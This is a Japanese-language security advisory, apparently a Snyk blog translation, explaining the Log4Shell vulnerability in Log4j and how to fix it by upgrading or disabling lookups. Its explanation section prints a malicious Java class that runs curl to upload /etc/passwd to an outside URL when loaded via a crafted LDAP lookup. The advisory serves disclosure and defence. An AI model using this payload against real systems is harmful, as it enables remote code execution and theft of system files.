Log4Shellの脆弱性が公開されました：Version 2.17.1にアップデートしてLog4j RCEを防ぐ

本記事は2021年12月10日に公開した英語ブログ[Log4Shell vulnerability disclosed: Prevent Log4j RCE by updating to version 2.17.1](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/)の日本語版です。

![logo-solid-background.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2216557/07433fa4-f0a8-d437-cbe3-8448837570ce.png)

**追記（2021年12月28日付、この日本語版は12月29日に更新) ：**Log4jチームは2.17.0に新たなリモートコード実行脆弱性（CVE-2021-44832）を発見し、セキュリティーアップデートを公開しました。Snykは最新のバージョン（現時点では2.17.1）へのアップグレードを推奨します。詳しくは日本語記事 [最新版Log4j 2.17.1ではCVE-2021-44832のリモートコード実行が修正されています](https://qiita.com/SnykSec/items/96cf51a9f5dd52d429eb) をご覧ください。

**追記（2021年12月18日付、この日本語版は12月20日に更新) ：**Log4jの状況は速いペースで変化しており、新しい情報が出るのにあわせて、このブログも更新しています。現時点では2.17.1以降のバージョンにアップデートすることが推奨されています。このバージョンは2つのリモートコード実行脆弱性への修正（[CVE-2021-44228](https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHELOGGINGLOG4J-2320014)に対する2.15.0での修正、[CVE-2021-45046](https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHELOGGINGLOG4J-2320014)に対する2.16.0での修正）と、最新のDoS脆弱性（[CVE-2021-45105](https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHELOGGINGLOG4J-2321524)）への修正が含まれています。詳しくは英文記事[Log4j 2.16 High Severity Vulnerability (CVE-2021-45105) Discovered](https://snyk.io/blog/log4j-2-16-vulnerability-cve-2021-45105-discovered/)をご覧ください。

本日（2021年12月10日）、新たに重大な[Log4j](https://logging.apache.org/log4j/2.x/)の脆弱性が公開されました。[Log4Shell](https://techcrunch.com/2021/12/10/apple-icloud-twitter-and-minecraft-vulnerable-to-ubiquitous-zero-day-exploit/)です。一般的なJavaロギングフレームワーク内のこの脆弱性は、[CVE-2021-44228](https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHELOGGINGLOG4J-2314720)として公開され、CVSSスコアが10（最大値）の`Critical`に分類されています。この脆弱性は、アリババのクラウドセキュリティチームのChen Zhaojunが発見しました。

**更新：**この投稿の後に、2つ目の深刻なリモートコード実行脆弱性が発見されました。この脆弱性[CVE-2021-45046](https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHELOGGINGLOG4J-2320014)は[特定の状況下でLog4j 2.15.0に影響](https://snyk.io/blog/log4j-2-15-vulnerability-cve-2021-45046-critical-ace/)します。

Log4j2 のほぼすべてのバージョンに脆弱性があります。これら2つの脆弱性を修正するにはバージョン[2.16.0](https://logging.apache.org/log4j/2.x/download.html)にアップデートすることが必要です。対策についてのより詳細な説明は[Log4Shell対策チートシート](https://snyk.io/blog/log4shell-remediation-cheat-sheet/)（英文）をご覧ください。

Javaエコシステムの多くのアプリケーションフレームワークは、デフォルトでこのロギングフレームワークを使用しています。例えば、Apache Struts 2、Apache Solr、Apache Druidなどが該当します。これらに加えて、Apache log4jは多くのSpringおよびSpring Bootアプリケーションでも使用されているため、アプリケーションをチェックして最新のバージョンにアップデートすることをお勧めします。


#Log4Shellはどれくらい危険なのか？
「とても危険」です。この脆弱性はMinecraftで初めて発見されました。マイクロソフトは、この問題を迅速に解決するための緊急パッチを展開しました。[TechCrunch](https://techcrunch.com/2021/12/10/apple-icloud-twitter-and-minecraft-vulnerable-to-ubiquitous-zero-day-exploit/)は、Apple、Amazon、Twitter、CloudflareがLog4Shell攻撃に対して脆弱であると報じています。TechCrunchによると、「ニュージーランドの[CERT（Computer Emergency Response Team）](https://www.cert.govt.nz/it-specialists/advisories/log4j-rce-0-day-actively-exploited/)、[ドイツテレコムのCERT](https://twitter.com/DTCERT/status/1469258597930614787)、およびウェブ監視サービスの[Greynoise](https://twitter.com/_mattata/status/1469144854672379905)は、攻撃者がLog4Shell攻撃に脆弱なサーバーを積極的に探していると警告している。後者によると、約100の異なるホストがインターネット上でLog4jの脆弱性を利用する方法を[スキャンしている](https://twitter.com/GreyNoiseIO/status/1469326260803416073)とのことです。

#Log4Shellの脆弱性についての説明
脆弱なバージョンのlog4jを使用すると、ログに記録される入力データがRCE（リモートコード実行）につながる可能性があります。JNDI（Java Naming and Directory Interface）を使用して、例えばLDAPのURLに接続し、それをログに記録する場合（下図）、コードインジェクションで悪意のあるペイロードを返すことが可能です。

以下のコードスニペットでは、ユーザーから与えられた引数をチェックします。もし、引数が適合しなければ、エラーを記録します。しかし、もしユーザの入力が`下記画像`であれば、エラーとしてログに記録されることがわかっているので、Log4Shellの脆弱性を引き起こしました。

![スクリーンショット 2021-12-13 9.13.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2216557/6afc591f-ca5e-56fd-6b75-f86931640f32.png)

```
try {
   checkout(arg);
} catch (Exception e) {
   logger.error("Failed to checkout with arg " + arg)
}
```

入力がlog4jで記録されていることを知っていれば、LDAPサーバーをセットアップして、いくつかのコードを実行するコンパイルされたクラスファイルを返すことができます。そのようなクラスの例は、以下で見ることができます。このオブジェクトは、私の `/etc/passwđ`ファイルを、`curl`を使用して外部の URL に送信します。なお、このユーザー入力は、たとえば HTTP 呼び出しのヘッダーなどに隠すことができます。ロガーがこの文字列を評価すると、悪意のあるLDAPサーバーへの呼び出しが行われます。

```
public  class RefactoredName implements  ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}
```


この問題に関する[Luncasecの記事](https://www.lunasec.io/docs/blog/log4j-zero-day/)によると、この問題はすべてのJavaバージョンに影響します。6u211、7u201、8u191、11.0.1以上のJDKバージョンでは、このLDAP攻撃の影響を受けないようです。これは、これらのバージョンでは、`com.sun.jndi.ldap.object.trustURLCodebase`がデフォルトで`false`に設定されているためです。

上記のエクスプロイトは、JDK `8u111`でテストされ、動作しました。しかし、`8u292`で同じことをしてもうまくいきませんでした。しかし、新しいバージョンのJavaが、この攻撃の他の可能性のある亜種に対する保護を提供しているかどうかは不明です。

**追記（2021年12月13日付、この日本語版は12月20日に更新) ：**@royvanrijn、@brunoborgesやその他のTwitterユーザによれば、Log4Shellに対する攻撃にはさらに違う方法もあるようです。LDAPのURLから返されたクラスファイルがすでにクラスパス上に存在する場合、より新しいバージョンのSDKを使い、`com.sun.jndi.ldap.object.trustURLCodebase`が`false`に設定されていたとしても、そのクラスファイルが実行されることを確認しました。私たちは引き続き調査を行い、新しい知見についても情報を共有します。


#Log4Shellの脆弱性の修正について
この動作はデフォルトで無効になっているため、最も簡単な修正方法は log4j バージョン 2.16.0 以降にアップデートすることです。以前のリリース（>2.10）では、この動作は、次のJavaパラメータを追加することによって、システム・プロパティ`log4j2.formatMsgNoLookups`を`true`に設定することによって、緩和することができます： `-Dlog4j2.formatMsgNoLookups=true`

また、`JndiLookup`クラスをクラスパスから削除することでも、この脆弱性を緩和することができます。

[Snykを用いたLog4Shell脆弱性の発見と修正](https://snyk.io/blog/find-fix-log4shell-quickly-snyk/)については私たちの記事（英文）をご覧ください。

#脆弱性を防ぐためのスキャンとアップデート
今回のlog4jのRCEは、アプリケーションの[脆弱性をスキャン](https://snyk.io/learn/vulnerability-scanner/)することが重要であり、[ソフトウェア開発をセキュアに保つため](https://snyk.io/blog/log4j-vulnerability-software-supply-chain-security-log4shell/)には頻繁に行うべきことがあると改めて示しています。さらに、新しいセキュリティ・アップデートの恩恵を受けるために、Javaディストリビューションを最新のリリースにアップデートすることも重要です。

[Snyk Open Source](https://snyk.io/product/open-source-security-management/)でアプリケーションをスキャンすると、今回のlog4jの問題を含む、オープンソースライブラリの脆弱性が表示されます。以下の例は、この問題に言及した私のIntelliJ IDEAプラグインの出力と、修正のアドバイスを示しています。

![Arbitrary-Code-Execution-in-log4j-core.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2216557/bad3c97e-0176-dd05-2cfe-4c7040db2612.png)

#参考リンク
JPCERT：[Apache Log4jの任意のコード実行の脆弱性（CVE-2021-44228）に関する注意喚起](https://www.jpcert.or.jp/at/2021/at210050.html)